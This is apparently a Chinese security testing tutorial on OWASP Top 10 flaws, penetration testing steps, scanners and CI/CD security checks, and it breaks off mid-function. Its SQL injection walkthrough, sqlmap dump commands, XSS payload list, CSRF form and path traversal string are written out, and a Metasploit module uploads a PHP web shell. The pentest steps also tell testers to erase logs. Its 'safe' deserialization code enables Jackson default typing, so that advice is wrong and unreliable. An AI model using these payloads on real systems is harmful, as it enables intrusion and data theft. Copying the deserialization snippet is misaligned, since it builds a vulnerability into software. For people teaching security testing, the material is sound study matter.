概述
什么是安全测试
安全测试是识别和修复软件系统安全漏洞的过程,旨在确保系统的机密性、完整性和可用性。在当今数字化时代,安全测试已成为软件开发生命周期中不可或缺的一部分。
安全测试的重要性
- 保护敏感数据:防止用户隐私信息、商业机密等敏感数据泄露
- 维护业务连续性:避免系统被攻击导致的服务中断
- 合规要求:满足GDPR、等保2.0等法规要求
- 品牌声誉:防止安全事件对企业形象造成的负面影响
- 成本节约:早期发现和修复安全漏洞的成本远低于事后补救
安全测试的目标
- 识别漏洞:发现系统中存在的安全缺陷
- 评估风险:评估漏洞可能造成的影响和损失
- 验证防御措施:确保安全控制措施的有效性
- 提供修复建议:为开发团队提供具体的安全加固方案
常规测试与安全测试的比较
1.测试目标不同
普通测试以发现Bug为目标;安全测试以发现安全隐患为目标。
2.假设条件不同
普通测试假设导致问题的数据是用户不小心造成的,接口一般只考虑用户界面;安全测试假设导致问题的数据是攻击者处心积虑构造的,需要考虑所有可能的攻击途径。
3.思考域不同
普通测试以系统所具有的功能为思考域;安全测试的思考域不但包括系统的功能,还有系统的机制外部环境应用与数据自身安全风险与安全属性等。
4.问题发现模式不同
普通测试以违反功能定义为判断依据;安全测试以违反权限与能力的约束为判断依据。
2.安全测试的基本原则
1.培养正确的思维方式
安全测试人员则要有创造性思维,创造性思维能够帮助我们站在攻击者角度思考各种无法预期的情况,同时能够帮助我们猜测开发人员是如何开发的,如何绕过程序防护逻辑,以某种不安全的行为模式导致程序失效。
2.尽早测试和经常测试
安全性缺陷和普通Bug没什么区别,越早发现修复成本越低,要做到这一点,最开始的就是在软件开发前期对开发和测试团队进行常见安全问题的培训,教他们学会如何检测并修复安全缺陷。
3.选择正确的测试工具
很多情况下安全测试需要模拟黑客的行为对软件系统发起攻击,以确保软件系统具备稳固的防御能力。模拟黑客行为就要求安全测试人员擅长使用各种工具,如漏洞扫描工具模拟数据流行为的前后台相关工具数据包抓取工具等。
4.尽可能测试源代码
使用源代码扫描工具对软件进行代码扫描,一方面可以找出潜在的风险,从内对软件进行检测,提高代码的安全性;另一方面也可以进一步提高代码的质量。黑盒的渗透测试和白盒的源代码扫描内外结合,可以使软件的安全性得到极大程度的提高。
5.测试结果文档化
测试总结的时候,明智且有效的做法是将测试行动和结果清晰准确地记录在文档中,产生一份测试报告,该报告最好包括漏洞类型问题引起的安全威胁及严重程度用于发现问题的测试技术漏洞的修复漏洞风险等。
OWASP Top 10 安全漏洞详解
1. SQL注入(SQL Injection)
漏洞原理
SQL注入是通过将恶意SQL代码插入到应用程序的输入参数中,欺骗服务器执行非预期的SQL命令。攻击者可以利用这个漏洞绕过身份验证、获取敏感数据、修改或删除数据库内容。
攻击示例
易受攻击的代码(Java):
// 不安全的登录验证
public boolean authenticate(String username, String password) {
String query = "SELECT * FROM users WHERE username = '" + username +
"' AND password = '" + password + "'";
ResultSet rs = statement.executeQuery(query);
return rs.next();
}
// 攻击者输入:username = admin' OR '1'='1' --
// 实际执行的SQL:SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = ''
修复后的代码(使用预编译语句):
// 安全的登录验证
public boolean authenticate(String username, String password) {
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
return rs.next();
}
防御措施
- 使用参数化查询:使用PreparedStatement或存储过程
- 输入验证:对所有用户输入进行严格的验证和过滤
- 最小权限原则:数据库账号只授予必要的权限
- 错误信息处理:不要在错误信息中暴露数据库结构信息
2. XSS跨站脚本攻击(Cross-Site Scripting)
漏洞原理
XSS攻击是将恶意脚本注入到可信网站中,当其他用户浏览该网站时,恶意脚本会在用户浏览器中执行,从而窃取cookie、会话令牌或其他敏感信息。
XSS类型
- 反射型XSS:恶意脚本来自当前HTTP请求
- 存储型XSS:恶意脚本存储在目标服务器上
- DOM型XSS:通过修改DOM环境执行恶意脚本
攻击示例
易受攻击的代码(PHP):
// 不安全的输出
<?php
$name = $_GET['name'];
echo "Welcome, " . $name . "!";
?>
// 攻击者输入:name=<script>alert(document.cookie)</script>
修复后的代码:
// 安全的输出
<?php
$name = $_GET['name'];
echo "Welcome, " . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "!";
?>
React中的防御:
// React默认会对输出进行转义
function Welcome({ name }) {
return <div>Welcome, {name}!</div>; // 安全
}
// 使用dangerouslySetInnerHTML时要特别小心
function UnsafeComponent({ html }) {
// 需要使用DOMPurify等库进行消毒
const sanitizedHtml = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} />;
}
防御措施
- 输出编码:对所有用户输入进行HTML实体编码
- 输入验证:建立白名单机制,拒绝可疑输入
- CSP(Content Security Policy):使用CSP限制脚本执行
- 使用现代框架:React、Vue等框架默认会进行XSS防护
3. CSRF跨站请求伪造(Cross-Site Request Forgery)
漏洞原理
CSRF攻击利用用户已登录的身份,在用户不知情的情况下,以用户的名义完成非法操作。攻击者通过伪造请求,让已认证的用户在不知情的情况下执行恶意操作。
攻击示例
恶意网站的攻击代码:
<!-- 攻击者的恶意网站 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none">
<!-- 或使用表单自动提交 -->
<form action="http://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>
防御代码(Spring Security):
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.csrf()
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.and()
// 其他配置...
}
}
// 在表单中包含CSRF令牌
<form method="POST" action="/transfer">
<input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}"/>
<!-- 其他表单字段 -->
</form>
防御措施
- CSRF Token:为每个会话生成唯一的token
- 验证Referer:检查请求来源
- SameSite Cookie:设置Cookie的SameSite属性
- 双重提交Cookie:要求请求同时在Cookie和请求参数中提交token
4. 不安全的直接对象引用(Insecure Direct Object References)
漏洞原理
应用程序直接使用用户提供的输入来访问对象,而没有进行适当的访问控制检查。
攻击示例
易受攻击的代码:
# 不安全的文件下载
@app.route('/download')
def download():
filename = request.args.get('file')
return send_file(filename) # 危险:可能访问任意文件
# 攻击者可以通过 /download?file=../../../etc/passwd 获取敏感文件
修复后的代码:
# 安全的文件下载
import os
from werkzeug.utils import secure_filename
ALLOWED_FILES = ['report1.pdf', 'report2.pdf', 'report3.pdf']
DOWNLOAD_FOLDER = '/app/downloads'
@app.route('/download')
@login_required
def download():
filename = request.args.get('file')
# 验证文件名
if filename not in ALLOWED_FILES:
abort(403)
# 验证用户权限
if not current_user.has_permission(filename):
abort(403)
# 使用安全的文件路径
safe_path = os.path.join(DOWNLOAD_FOLDER, secure_filename(filename))
return send_file(safe_path)
5. 安全配置错误(Security Misconfiguration)
常见问题
- 默认账户和密码:使用默认的管理员账户
- 不必要的服务:启用了不需要的功能或端口
- 详细的错误信息:向用户展示堆栈跟踪信息
- 过时的软件:使用含有已知漏洞的软件版本
安全配置示例
Nginx安全配置:
# 隐藏版本号
server_tokens off;
# 设置安全头
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# 限制请求方法
if ($request_method !~ ^(GET|HEAD|POST)$ ) {
return 405;
}
# 禁止访问隐藏文件
location ~ /\. {
deny all;
}
Spring Boot安全配置:
# application.yml
server:
error:
include-message: never
include-stacktrace: never
port: 8443
ssl:
enabled: true
key-store: classpath:keystore.p12
key-store-password: ${SSL_PASSWORD}
spring:
security:
user:
name: ${ADMIN_USERNAME}
password: ${ADMIN_PASSWORD}
management:
endpoints:
web:
exposure:
include: health,info
6. 敏感信息泄露(Sensitive Data Exposure)
常见问题
- 明文传输:使用HTTP而非HTTPS
- 弱加密:使用过时的加密算法
- 不当存储:明文存储密码或敏感数据
- 日志泄露:在日志中记录敏感信息
安全实践示例
密码安全存储(使用bcrypt):
const bcrypt = require('bcrypt');
// 注册时加密密码
async function registerUser(username, password) {
const saltRounds = 10;
const hashedPassword = await bcrypt.hash(password, saltRounds);
// 存储hashedPassword到数据库
await db.users.create({
username,
password: hashedPassword
});
}
// 登录时验证密码
async function authenticateUser(username, password) {
const user = await db.users.findOne({ username });
if (!user) return false;
return await bcrypt.compare(password, user.password);
}
敏感数据加密存储:
from cryptography.fernet import Fernet
import os
class DataEncryption:
def __init__(self):
# 从环境变量获取密钥
self.key = os.environ.get('ENCRYPTION_KEY').encode()
self.cipher = Fernet(self.key)
def encrypt_sensitive_data(self, data):
"""加密敏感数据"""
return self.cipher.encrypt(data.encode()).decode()
def decrypt_sensitive_data(self, encrypted_data):
"""解密敏感数据"""
return self.cipher.decrypt(encrypted_data.encode()).decode()
# 使用示例
encryption = DataEncryption()
# 存储信用卡号
encrypted_cc = encryption.encrypt_sensitive_data("1234-5678-9012-3456")
# 存储到数据库
# 读取时解密
cc_number = encryption.decrypt_sensitive_data(encrypted_cc)
7. 访问控制缺失(Missing Access Control)
漏洞原理
应用程序未能正确实施访问控制,导致未授权用户可以访问受限资源或执行特权操作。
防御示例
基于角色的访问控制(RBAC):
@RestController
@RequestMapping("/api")
public class AdminController {
@PreAuthorize("hasRole('ADMIN')")
@GetMapping("/admin/users")
public List<User> getAllUsers() {
return userService.findAll();
}
@PreAuthorize("hasRole('USER')")
@GetMapping("/profile/{id}")
public User getProfile(@PathVariable Long id, Principal principal) {
// 验证用户只能访问自己的资料
if (!userService.isOwner(id, principal.getName())) {
throw new AccessDeniedException("Access denied");
}
return userService.findById(id);
}
@PreAuthorize("hasAnyRole('ADMIN', 'MODERATOR')")
@PostMapping("/content/delete/{id}")
public void deleteContent(@PathVariable Long id) {
contentService.delete(id);
}
}
8. 不安全的反序列化(Insecure Deserialization)
漏洞原理
应用程序反序列化不可信的数据,可能导致远程代码执行、拒绝服务等攻击。
安全实践
避免反序列化不可信数据:
// 不安全的做法
public Object deserialize(byte[] data) {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
return ois.readObject(); // 危险:可能执行恶意代码
}
// 安全的做法:使用JSON而非Java序列化
public User deserializeUser(String jsonData) {
ObjectMapper mapper = new ObjectMapper();
// 启用安全特性
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
mapper.setDefaultTyping(
mapper.getTypeFactory().constructType(User.class)
);
try {
return mapper.readValue(jsonData, User.class);
} catch (IOException e) {
throw new DeserializationException("Invalid data", e);
}
}
9. 使用含有已知漏洞的组件(Using Components with Known Vulnerabilities)
防御措施
依赖管理和漏洞扫描:
<!-- Maven配置 -->
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>6.5.0</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
NPM审计:
# 检查漏洞
npm audit
# 自动修复
npm audit fix
# 强制修复(可能破坏兼容性)
npm audit fix --force
10. 不足的日志记录和监控(Insufficient Logging & Monitoring)
安全日志实践
完整的安全日志记录:
import logging
import json
from datetime import datetime
class SecurityLogger:
def __init__(self):
self.logger = logging.getLogger('security')
handler = logging.FileHandler('security.log')
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
handler.setFormatter(formatter)
self.logger.addHandler(handler)
self.logger.setLevel(logging.INFO)
def log_security_event(self, event_type, user_id, ip_address,
success=True, additional_data=None):
log_entry = {
'timestamp': datetime.utcnow().isoformat(),
'event_type': event_type,
'user_id': user_id,
'ip_address': ip_address,
'success': success,
'additional_data': additional_data or {}
}
if success:
self.logger.info(json.dumps(log_entry))
else:
self.logger.warning(json.dumps(log_entry))
def log_login_attempt(self, username, ip_address, success):
self.log_security_event(
'LOGIN_ATTEMPT',
username,
ip_address,
success,
{'user_agent': request.headers.get('User-Agent')}
)
def log_access_violation(self, user_id, resource, ip_address):
self.log_security_event(
'ACCESS_VIOLATION',
user_id,
ip_address,
False,
{'resource': resource}
)
渗透测试方法论
渗透测试概述
渗透测试是通过模拟黑客攻击来评估系统安全性的方法。它不仅要发现漏洞,还要证明这些漏洞可以被利用,并评估可能造成的影响。
渗透测试类型
1. 黑盒测试(Black Box Testing)
- 特点:测试人员对系统内部结构一无所知
- 优势:最接近真实攻击者的视角
- 劣势:可能遗漏一些内部漏洞
2. 白盒测试(White Box Testing)
- 特点:测试人员拥有系统的完整信息
- 优势:能够深入测试系统的各个方面
- 劣势:可能过于依赖内部信息
3. 灰盒测试(Gray Box Testing)
- 特点:测试人员拥有部分系统信息
- 优势:平衡了效率和真实性
- 劣势:需要合理把握信息边界
渗透测试特点
● 渗透测试是一个渐进的并且逐步深入的过程。 ● 渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。
渗透测试流程详解

1.明确目标
● 确定测试需求。 ● 确定客户要求渗透测试的范围。 ● 确定渗透测试规则。
2.收集信息
在信息收集阶段要尽量收集关于项目软件的各种信息,例如,对于一个Web应用程序,要收集脚本类型服务器类型数据库类型以及项目所用到的框架开源软件等。信息收集对于渗透测试来说非常重要,只有掌握目标程序足够多的信息,才能更好地进行漏洞检测。
信息收集的方式可分为两种: ● 主动收集:通过直接访问扫描网站等方式收集想要的信息,这种方式可以收集的信息比较多,但是访问者的操作行为会被目标主机记录。 ● 被动收集:利用第三方服务对目标进行了解,如上网搜索相关信息。这种方式获取的信息相对较少且不够直接,但目标主机不会发现测试人员的行为。
3.扫描漏洞
在这一阶段,综合分析收集到的信息,借助扫描工具对目标程序进行扫描,查找存在的安全漏洞。
4.验证漏洞
在扫描漏洞阶段,测试人员会得到很多关于目标程序的安全漏洞,但这些漏洞有误报,需要测试人员结合实际情况,搭建模拟测试环境对这些安全漏洞进行验证。被确认的安全漏洞才能被利用执行攻击。
5.分析信息
经过验证的安全漏洞就可以被利用起来向目标程序发起攻击,但是不同的安全漏洞,攻击机制并不相同,针对不同的安全漏洞需要进一步分析,包括安全漏洞原理可利用的工具目标程序检测机制攻击是否可以绕过防火墙等,制定一个详细精密的攻击计划,这样才能保证测试顺利执行。
6.渗透攻击
渗透攻击就是对目标程序发起真正的攻击,达到测试目的,如获取用户帐号密码截取目标程序传输的数据控制目标主机等。一般渗透测试是一次性测试,攻击完成之后要执行清理工作,删除系统日志程序日志等,擦除进入系统的痕迹。
7.整理信息
渗透攻击完成之后,整理攻击所获得的信息,为后面编写测试报告提供依据。
8.编写测试报告
测试完成之后要编写测试报告,阐述项目安全测试目标信息收集方式漏洞扫描工具以及漏洞情况攻击计划实际攻击结果测试过程中遇到的问题等,此外,还要对目标程序存在的漏洞进行分析,提供安全有效的解决办法。
渗透测试实战案例
案例1:SQL注入攻击实战
目标:某电商网站的产品搜索功能
测试过程:
# 1. 发现注入点
# 正常请求
GET /search?q=laptop
# 测试单引号
GET /search?q=laptop'
# 返回SQL错误,确认存在注入
# 2. 确定数据库类型和版本
GET /search?q=laptop' AND 1=1--
GET /search?q=laptop' AND 1=2--
# 3. 获取数据库信息
GET /search?q=laptop' UNION SELECT 1,database(),3--
# 4. 获取表名
GET /search?q=laptop' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()--
# 5. 获取列名
GET /search?q=laptop' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
# 6. 提取敏感数据
GET /search?q=laptop' UNION SELECT 1,concat(username,':',password),3 FROM users--
使用SQLMap自动化测试:
# 基础扫描
sqlmap -u "http://target.com/search?q=laptop" --batch
# 获取数据库
sqlmap -u "http://target.com/search?q=laptop" --dbs
# 获取表
sqlmap -u "http://target.com/search?q=laptop" -D shopdb --tables
# 导出数据
sqlmap -u "http://target.com/search?q=laptop" -D shopdb -T users --dump
案例2:XSS漏洞挖掘
测试Payload集合:
// 基础测试
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
// 绕过过滤
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror="alert(1)">
// 利用事件处理器
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
// DOM XSS
<img src=x onerror="javascript:alert(1)">
#<img src=x onerror=alert(1)>
安全测试工具详解
1. 漏洞扫描工具
OWASP ZAP(Zed Attack Proxy)
特点:
- 开源免费
- 支持主动和被动扫描
- 可集成到CI/CD流程
基本使用:
# Docker方式运行ZAP
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t https://target.com -r report.html
# API扫描
docker run -t owasp/zap2docker-stable zap-api-scan.py \
-t openapi.json -f openapi -r api-report.html
自动化脚本示例:
from zapv2 import ZAPv2
# 配置ZAP
zap = ZAPv2(apikey='your-api-key')
target = 'https://target.com'
# 访问目标URL
zap.urlopen(target)
# 蜘蛛爬行
scan_id = zap.spider.scan(target)
while int(zap.spider.status(scan_id)) < 100:
time.sleep(1)
# 主动扫描
scan_id = zap.ascan.scan(target)
while int(zap.ascan.status(scan_id)) < 100:
time.sleep(5)
# 获取警告
alerts = zap.core.alerts(baseurl=target)
for alert in alerts:
print(f"Alert: {alert['alert']} - Risk: {alert['risk']}")
Nessus
特点:
- 专业的漏洞评估工具
- 庞大的漏洞数据库
- 支持合规性检查
扫描策略配置:
{
"scan_name": "Web Application Scan",
"targets": ["192.168.1.0/24", "www.example.com"],
"scan_type": "webapp",
"plugins": {
"web_applications": true,
"sql_injection": true,
"xss": true,
"directory_traversal": true
},
"credentials": {
"http_auth": {
"username": "admin",
"password": "password"
}
}
}
2. Web代理工具
Burp Suite
核心功能:
- Proxy:拦截和修改HTTP/HTTPS请求
- Scanner:自动化漏洞扫描
- Intruder:自动化攻击工具
- Repeater:手动测试和修改请求
Intruder攻击示例:
# Burp扩展开发示例
from burp import IBurpExtender, IHttpListener
class BurpExtender(IBurpExtender, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Security Header Checker")
callbacks.registerHttpListener(self)
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
if not messageIsRequest:
response = messageInfo.getResponse()
analyzedResponse = self._helpers.analyzeResponse(response)
headers = analyzedResponse.getHeaders()
# 检查安全头
security_headers = [
'X-Frame-Options',
'X-Content-Type-Options',
'Strict-Transport-Security',
'Content-Security-Policy'
]
missing_headers = []
for header in security_headers:
if not any(header.lower() in h.lower() for h in headers):
missing_headers.append(header)
if missing_headers:
print(f"Missing security headers: {missing_headers}")
OWASP WebScarab
特点:
- 轻量级Web代理
- 支持会话ID分析
- WebService测试功能
3. 网络扫描工具
Nmap高级使用
# 综合扫描脚本
#!/bin/bash
# 快速扫描
nmap -sS -sV -T4 -A -p- target.com -oA nmap_full_scan
# Web服务识别
nmap -sV -p 80,443,8080,8443 --script http-enum target.com
# SSL/TLS漏洞检测
nmap -sV --script ssl-heartbleed,ssl-poodle,ssl-ccs-injection target.com
# SQL注入检测
nmap -sV --script http-sql-injection target.com
# 漏洞扫描
nmap --script vuln target.com
自定义NSE脚本:
-- custom-webapp-scan.nse
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
description = [[Custom web application security scanner]]
author = "Security Team"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"}
portrule = shortport.http
action = function(host, port)
local response = http.get(host, port, "/")
if response.status == 200 then
-- 检查常见的安全问题
local vulnerabilities = {}
-- 检查X-Frame-Options
if not response.header['x-frame-options'] then
table.insert(vulnerabilities, "Missing X-Frame-Options header")
end
-- 检查服务器信息泄露
if response.header['server'] then
table.insert(vulnerabilities,
"Server header exposes: " .. response.header['server'])
end
return stdnse.format_output(true, vulnerabilities)
end
end
4. 渗透测试框架
Metasploit Framework
基础使用:
# 启动Metasploit
msfconsole
# 搜索漏洞
msf6 > search type:exploit platform:linux apache
# 使用exploit
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf6 exploit(apache_mod_cgi_bash_env_exec) > set RHOSTS target.com
msf6 exploit(apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/test.cgi
msf6 exploit(apache_mod_cgi_bash_env_exec) > exploit
自定义模块开发:
# custom_webapp_exploit.rb
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Web Application Exploit',
'Description' => %q{
This module exploits a vulnerability in custom web app
},
'Author' => [ 'Security Researcher' ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Targets' => [
[ 'Universal', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-01-01'
))
register_options([
OptString.new('TARGETURI', [true, 'The URI path', '/'])
])
end
def exploit
# 构造payload
payload_data = "<?php system($_GET['cmd']); ?>"
# 发送请求
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'upload.php'),
'data' => payload_data
})
if res && res.code == 200
print_good("Payload uploaded successfully")
end
end
end
5. 代码分析工具
SonarQube
配置和使用:
# docker-compose.yml
version: "3"
services:
sonarqube:
image: sonarqube:community
ports:
- "9000:9000"
environment:
- SONAR_ES_BOOTSTRAP_CHECKS_DISABLE=true
volumes:
- sonarqube_data:/opt/sonarqube/data
- sonarqube_logs:/opt/sonarqube/logs
- sonarqube_extensions:/opt/sonarqube/extensions
volumes:
sonarqube_data:
sonarqube_logs:
sonarqube_extensions:
项目扫描脚本:
#!/bin/bash
# sonar-scan.sh
sonar-scanner \
-Dsonar.projectKey=myproject \
-Dsonar.sources=. \
-Dsonar.host.url=http://localhost:9000 \
-Dsonar.login=your-token \
-Dsonar.java.binaries=target/classes \
-Dsonar.exclusions=**/*Test.java,**/node_modules/**
6. 移动应用安全测试工具
MobSF(Mobile Security Framework)
自动化分析脚本:
import requests
import json
class MobSFAPI:
def __init__(self, host='http://localhost:8000', api_key='your-api-key'):
self.host = host
self.headers = {'Authorization': api_key}
def upload_app(self, file_path):
"""上传APK/IPA文件"""
with open(file_path, 'rb') as f:
files = {'file': f}
response = requests.post(
f'{self.host}/api/v1/upload',
files=files,
headers=self.headers
)
return response.json()
def scan_app(self, scan_hash, scan_type):
"""扫描应用"""
data = {
'hash': scan_hash,
'scan_type': scan_type,
're_scan': '0'
}
response = requests.post(
f'{self.host}/api/v1/scan',
data=data,
headers=self.headers
)
return response.json()
def get_report(self, scan_hash):
"""获取扫描报告"""
data = {'hash': scan_hash}
response = requests.post(
f'{self.host}/api/v1/report_json',
data=data,
headers=self.headers
)
return response.json()
# 使用示例
mobsf = MobSFAPI()
upload_result = mobsf.upload_app('app.apk')
scan_result = mobsf.scan_app(upload_result['hash'], 'apk')
report = mobsf.get_report(upload_result['hash'])
print(json.dumps(report, indent=2))
代码审计方法
静态代码分析
1. 自动化工具扫描
多语言安全扫描器Semgrep:
# .semgrep.yml - 自定义规则
rules:
- id: hardcoded-password
patterns:
- pattern-either:
- pattern: password = "..."
- pattern: password = '...'
message: "Hardcoded password detected"
languages: [python, javascript, java]
severity: ERROR
- id: sql-injection
patterns:
- pattern: |
$QUERY = "... " + $INPUT + " ..."
...
$SQL.execute($QUERY)
message: "Potential SQL injection vulnerability"
languages: [java, python]
severity: ERROR
运行扫描:
# 使用预定义规则
semgrep --config=auto .
# 使用自定义规则
semgrep --config=.semgrep.yml .
# 输出SARIF格式报告
semgrep --config=auto --sarif > semgrep-report.sarif
2. 手动代码审查清单
## 代码审查安全检查清单
### 输入验证
- [ ] 所有用户输入都经过验证
- [ ] 使用白名单而非黑名单
- [ ] 长度限制和格式检查
- [ ] 特殊字符正确转义
### 身份认证
- [ ] 密码强度要求
- [ ] 密码加密存储(bcrypt/scrypt/argon2)
- [ ] 会话管理安全
- [ ] 多因素认证支持
### 授权
- [ ] 最小权限原则
- [ ] 权限检查不可绕过
- [ ] 垂直权限控制
- [ ] 水平权限控制
### 加密
- [ ] 使用标准加密算法
- [ ] 密钥安全管理
- [ ] HTTPS强制使用
- [ ] 敏感数据加密存储
### 错误处理
- [ ] 通用错误信息
- [ ] 不暴露系统细节
- [ ] 日志记录完整
- [ ] 异常正确处理
动态代码分析
IAST(交互式应用安全测试)
Contrast Security配置示例:
<!-- contrast.yaml -->
agent:
java:
standalone_app_name: "MyApp"
api:
url: https://app.contrastsecurity.com/Contrast
api_key: YOUR_API_KEY
service_key: YOUR_SERVICE_KEY
user_name: YOUR_USERNAME
assess:
enable: true
tags: "production,java"
protect:
enable: true
rules:
sql-injection:
mode: block
xss:
mode: monitor
安全测试自动化
CI/CD集成
Jenkins Pipeline安全测试
// Jenkinsfile
pipeline {
agent any
stages {
stage('Code Analysis') {
parallel {
stage('SAST') {
steps {
script {
// SonarQube扫描
sh 'sonar-scanner'
// Semgrep扫描
sh 'semgrep --config=auto --json > semgrep-report.json'
// 依赖检查
sh 'dependency-check.sh --project "MyApp" --scan .'
}
}
}
stage('Secret Scanning') {
steps {
sh 'trufflehog --regex --entropy=False --json .'
sh 'gitleaks detect --source . -v'
}
}
}
}
stage('Build') {
steps {
sh 'mvn clean package'
}
}
stage('DAST') {
steps {
script {
// 启动应用
sh 'docker-compose up -d'
// OWASP ZAP扫描
sh '''
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t http://localhost:8080 \
-r zap-report.html
'''
// Nuclei扫描
sh 'nuclei -u http://localhost:8080 -t nuclei-templates/'
}
}
}
stage('Container Scanning') {
steps {
sh 'trivy image myapp:latest'
sh 'docker scan myapp:latest'
}
}
}
post {
always {
// 收集报告
publishHTML([
allowMissing: false,
alwaysLinkToLastBuild: true,
keepAll: true,
reportDir: '.',
reportFiles: 'zap-report.html',
reportName: 'ZAP Security Report'
])
// 清理
sh 'docker-compose down'
}
}
}
GitHub Actions安全工作流
# .github/workflows/security.yml
name: Security Scan
on:
push:
branches: [ main, develop ]
pull_request:
branches: [ main ]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run GitLeaks
uses: zricethezav/gitleaks-action@v1.6.0
- name: Run Semgrep
uses: returntocorp/semgrep-action@v1
with:
config: >
p/security-audit
p/owasp-top-ten
p/r2c-security-audit
- name: SonarCloud Scan
uses: SonarSource/sonarcloud-github-action@master
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
- name: Dependency Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'MyApp'
path: '.'
format: 'HTML'
- name: Container Scan
uses: aquasecurity/trivy-action@master
with:
image-ref: 'myapp:latest'
format: 'sarif'
output: 'trivy-results.sarif'
- name: Upload SARIF results
uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: 'trivy-results.sarif'
合规性测试
GDPR合规检查
# gdpr_compliance_checker.py
import re
from typing import List, Dict
class GDPRComplianceChecker:
def __init__(self):
self.sensitive_data_patterns = {
'email': r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}',
'phone': r'\+?[0-9]{10,15}',
'ssn': r'\b(?!000|666)[0-9]{3}-(?!00)[0-9]{2}-(?!0000)[0-9]{4}\b',
'credit_card': r'\b(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|3[47][0-9]{13})\b'
}
def check_data_minimization(self, database_schema: Dict) -> List[str]:
"""检查数据最小化原则"""
issues = []
unnecessary_fields = ['middle_name', 'maiden_name', 'nickname']
for table, fields in database_schema.items():
for field in fields:
if field.lower() in unnecessary_fields:
issues.append(f"Unnecessary personal data field: {table}.{field}")
return issues
def check_encryption(self, code_files: List[str]) -> List[str]:
"""检查敏感数据加密"""
issues = []
for file in code_files:
with open(file, 'r') as f:
content = f.read()
# 检查明文存储
if re.search(r'password\s*=\s*["\'][^"\']+["\']', content):
issues.append(f"Potential plaintext password in {file}")
# 检查加密算法
weak_crypto = ['MD5', 'SHA1', 'DES']
for crypto in weak_crypto:
if crypto in content:
issues.append(f"Weak cryptography {crypto} used in {file}")
return issues
def check_consent_management(self, api_endpoints: List[Dict]) -> List[str]:
"""检查同意管理机制"""
issues = []
required_endpoints = [
'/api/consent/give',
'/api/consent/withdraw',
'/api/consent/status',
'/api/data/export',
'/api/data/delete'
]
existing_endpoints = [ep['path'] for ep in api_endpoints]
for required in required_endpoints:
if required not in existing_endpoints:
issues.append(f"Missing GDPR required endpoint: {required}")
return issues
def generate_compliance_report(self, project_path: str) -> Dict:
"""生成GDPR合规报告"""
report = {
'compliant': True,
'issues': [],
'recommendations': []
}
# 执行各项检查
# ...
return report
等保2.0测试
# dengbao_security_test.py
class DengBaoSecurityTest:
def __init__(self):
self.test_items = {
'身份鉴别': self.test_authentication,
'访问控制': self.test_access_control,
'安全审计': self.test_security_audit,
'数据完整性': self.test_data_integrity,
'数据保密性': self.test_data_confidentiality
}
def test_authentication(self, app_url: str) -> Dict:
"""测试身份鉴别要求"""
results = {
'passed': [],
'failed': [],
'warnings': []
}
# 测试密码复杂度
test_passwords = [
'123456', # 弱密码
'password', # 常见密码
'P@ssw0rd123!', # 强密码
]
for pwd in test_passwords:
response = self._test_password_policy(app_url, pwd)
if pwd in ['123456', 'password'] and response['accepted']:
results['failed'].append(f"Weak password accepted: {pwd}")
elif pwd == 'P@ssw0rd123!' and not response['accepted']:
results['failed'].append("Strong password rejected")
# 测试登录失败锁定
lockout_result = self._test_account_lockout(app_url)
if lockout_result['lockout_enabled']:
